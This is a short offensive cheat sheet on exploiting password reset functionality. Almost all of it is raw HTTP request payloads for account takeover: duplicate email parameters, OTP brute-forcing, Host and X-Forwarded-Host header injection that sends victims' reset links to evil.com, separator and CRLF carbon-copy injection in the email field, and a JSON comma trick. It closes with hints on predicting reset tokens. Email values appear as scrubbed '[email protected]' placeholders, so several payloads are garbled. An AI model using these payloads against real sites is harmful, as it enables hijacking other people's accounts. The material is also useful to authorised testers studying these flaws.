Password Reset Flaws
Introduction
Common security flaws in password reset functionality
How to exploit
- Parameter pollution in reset password
POST /reset
[...]
[email protected]&[email protected]
- Bruteforce the OTP code
POST /reset
[...]
[email protected]&code=$123456$
- Host header Injection
POST /reset
Host: evil.com
[...]
[email protected]
POST /reset
Host: target.com
X-Forwarded-Host: evil.com
[...]
[email protected]
And the victim will receive the reset link with evil.com
- Using separator in value of the parameter
POST /reset
[...]
[email protected],[email protected]
POST /reset
[...]
[email protected]%[email protected]
POST /reset
[...]
[email protected]|[email protected]
POST /reset
[...]
[email protected]%[email protected]
- No domain in value of the paramter
POST /reset
[...]
email=victim
- No TLD in value of the parameter
POST /reset
[...]
email=victim@mail
- Using carbon copy
POST /reset
[...]
[email protected]%0a%0dcc:[email protected]
- If there is JSON data in body requests, add comma
POST /newaccount
[...]
{"email":"[email protected]","[email protected]","token":"xxxxxxxxxx"}
- Find out how the tokens generate
- Generated based on TimeStamp
- Generated based on the ID of the user
- Generated based on the email of the user
- Generated based on the name of the user